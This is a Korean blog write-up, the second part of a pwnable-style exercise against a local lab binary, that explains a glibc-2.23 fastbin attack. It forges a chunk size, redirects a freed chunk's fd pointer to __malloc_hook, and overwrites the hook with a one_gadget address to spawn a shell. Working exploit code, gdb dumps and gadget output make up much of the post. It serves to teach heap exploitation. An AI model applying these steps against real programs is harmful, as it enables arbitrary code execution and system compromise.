https://velog.io/@woounnan/PWNABLE-Poison-Null-Byte-Libc-Leak와 이어지는 내용이다.
앞서 libc 주소를 획득했다. 하지만 이 값은 base 주소를 얻기위한 수단일 뿐이다.
최종 목표는 rip를 제어하여 원하는 코드를 실행할 수 있어야 한다.
64비트 기준 0x80 이하의 크기를 가지는 free 청크를 관리한다.(glibc-2.23
에서)
헤더 0x10바이트를 포함한 크기이며, 데이터는 다음 청크의 prev_size 필드 8바이트까지 사용하므로 0x88까지 fastbin에 저장된다고 보면 된다.
singled linked list로 이루어지기 때문에 fd
하나의 조작으로 rip 컨트롤이 가능하며, 병합이 되지 않기 때문에 다른 요소를 고려할 필요가 없어 익스플로잇에 자주 활용된다.
본 포스팅에서도 fastbin 조작을 이용한 익스플로잇을 수행할 것이다.
libc leak이 수행된 지금의 청크 상황을 정리해보자.
메모리 상태를 보자.
할당되어있는 chunk_BBB
를 free된 것처럼 속이고, 그 위치에 fd
, bk
가 오도록 만든 후 그 값을 읽어 libc
주소를 확인했다.
현재 fd
, bk
는 chunk_BBB
에 위치해있다.
하지만 이것은 double linked list인 small bin에 저장되어있는 것이다.
익스플로잇을 위해 chunk_BBB
를 fastbin에 저장되도록 만들어야 한다.
chunk_BBB
현재 할당되어있는 chunk_AAA
를 free시키고 0x10만큼 더 큰 사이즈로 재할당한다.
0x10을 추가하는 것은, 기존의 chunk_BBB
영역을 오버플로우하여 size+flags
를 조작하기 위함이다.
현재 chunk_BBB
의 size+flags
는 0x171, 즉 chunk_BBB
와 chunk_CCC
가 합쳐진 크기가 저장되어있다.
이 값을 처음의 chunk_BBB
의 크기이자, fastbin 크기인 0x70으로 변경시킨다.
for i in range(0xfd, 0xf7, -1):
delete(1)
create(i+1, 'E'*i + '\x70') # chunk_EEE, new_idx = 1
메모리를 확인하면
chunk_BBB
의 size+flags
가 0x70으로 변경되었다.
chunk_BBB
into Fast Bin현재 할당되어있는 상태인 chunk_BBB
를 free시킨다.
delete(0)
그러면 조작된 크기인 0x70를 갖는 chunk_BBB
가 fastbin에 저장되고, chunk_BBB
의 시작부분의 데이터는 fastbin을 가리키는 fd
로 변경된다.
fastbin을 확인해보면
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x604110 (overlap chunk with 0x604120(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6042a0 (size : 0x20be0)
last_remainder: 0x604120 (size : 0x160)
unsortbin: 0x604120 (size : 0x160)
gdb-peda$
chunk_BBB
의 주소가 저장되어있다.
fd
지금 chunk_BBB
의 fd
에는 아무런 값도 저장되어있지 않다. 그 이유는 fastbin에 저장된 chunk_BBB
가 유일한 청크이기 때문이다.
만약 chunk_BBB
의 fd
값을 임의의 값 0xdeadbeef으로 변경한다면 어떻게 될까?
위 그림처럼 0xdeadbeef를 또다른 청크의 주소값으로 인식할 것이다.
그리고 할당요청이 들어올 때, 0xdeadbeef의 주소를 반환해줄 것이다.
하지만 아무런 주소값을 사용할 수 없다.
fastbin의 같은 엔트리에 저장된 청크들은 모두 동일한 사이즈를 갖는다.
chunk_BBB
가 0x70이므로, 0xdeadbeef 주소의 (가상)청크의 size+flags
값도 0x70을 나타내고 있어야 한다.
다행히 크기를 검사할 때 size+flags
의 LSB 4비트(0xf)는 무시된다고 한다.
그럼 fake 청크로 사용될 수 있는 메모리 값은 QW: 0x70 ~ QW: 0x7f가 된다.
__malloc_hook
__malloc_hook
은 모든 malloc()
호출에서 참조되는 포인터이다.
중요한 것은, __malloc_hook
에는 Null이 기본으로 저장되어 있는데, 이 값이 아닐 경우 함수 포인터로 인식하여 그것을 호출한다.
gdb-peda$ x/xg &__malloc_hook
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000
또한 __malloc_hook
의 이전의 바이트를 보면 앞서 찾았던 QW: 0x70 ~ QW: 0x7f를 만족하는 값이 저장되어있다.
이 주소의 오프셋을 계산한다.
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /work/vuln
0x00601000 0x00602000 r--p /work/vuln
0x00602000 0x00603000 rw-p /work/vuln
0x00603000 0x00625000 rw-p [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
gdb-peda$ p 0x7ffff7dd1aed - 0x00007ffff7dd1000
$2 = 0xaed
fd
to __malloc_hook
chunk_BBB
의 fd
를 변경하기 위해, 이 값을 덮어쓸만큼 큰 chunk_AAA
를 할당해서 fd
의 주소값을 조작한다.
delete(1) # delete chunk_AAA
offset_hook = 0xaed
create(0x108, 'A'*0x100 + p64(offset_hook+libc_base)) # new_idx = 0
fd
값을 덮어쓰는 과정에서 chunk_BBB
의 size+flags
도 변경되었다.
gdb-peda$ x/80gx 0x604110
0x604110: 0x4141414141414141 0x4141414141414141 #needs to restore size
0x604120: 0x00007ffff7dd1aed 0x0000000000000161
0x604130: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
복구시켜준다.
for i in range(0xfe, 0xf7, -1):
delete(0)
create(i+8, 'E'*i + '\x70\x00') # chunk_EEE, new_idx = 1
'\x70'이 아닌 '\x70\x00'을 입력하는 이유는, 할당크기보다 적게 데이터를 전달하고 있기 때문에 엔터 입력까지 포함해서 데이터를 write하게 된다.
따라서, 널바이트로 라인피드가 복사되지 않도록 만들어준 것이다.
확인해보면
gdb-peda$ x/80gx 0x604110
0x604110: 0x4545454545454545 0x0000000000000070
0x604120: 0x00007ffff7dd1aed 0x0000000000000161
0x604130: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x70으로 복구되었다.
이제 청크를 할당하여 __malloc_hook
에 값을 쓰고, 그 주소로 분기되는지 확인해보자.
현재 fastbin에는 chunk_BBB
, __malloc_hook
가 존재한다.
같은 크기의 청크를 할당하면 chunk_BBB
의 주소를 반환할 것이고
또다시 할당했을 때, __malloc_hook
의 주소가 반환되어 이 값을 변경시킬 수 있다.
시험삼아 0xdeadbeef
로 변경해보자.
create(0x60, 'B'*0x60)
foo = 0xdeadbeef
create(0x60, 0x13*'G'+p64(foo)+'G'*(0x68-0x13-8))
create(0x20, 'trigger __malloc_hook')
__malloc_hook
이 0xdeadbeef로 변경된 상태로 malloc()
이 또다시 호출되었을 때 __malloc_hook
이 참조되어 0xdeadbeef 주소로 분기할 것이다.
Core was generated by `./vuln'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000deadbeef in ?? ()
gdb-peda$
원가젯을 이용하여 쉘을 실행시키자.
root@ubuntu:/work# one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
테스트 결과 3번째 가젯의 조건을 맞춰줄 수 있었다.
세 번째 가젯으로 실행했을 때 모습이다.
execve()
는 실패했지만, 조건값인 rsp+0x50
을 보면 내가 입력한 값인 0x474747474747이 들어가있다.
이것을 조건에 맞게 0x00으로 설정해주면 되겠다.
offset_oneshot = 0xf02a4
oneshot = libc_base + offset_oneshot
foo = 0xdeadbeef
create(0x60, 0x13*'G'+p64(oneshot)+'\x00'*(0x68-0x13-8))
create(0x20, 'trigger __malloc_hook')
p.interactive()
코드를 실행해보면
정상적으로 쉘이 실행되었다.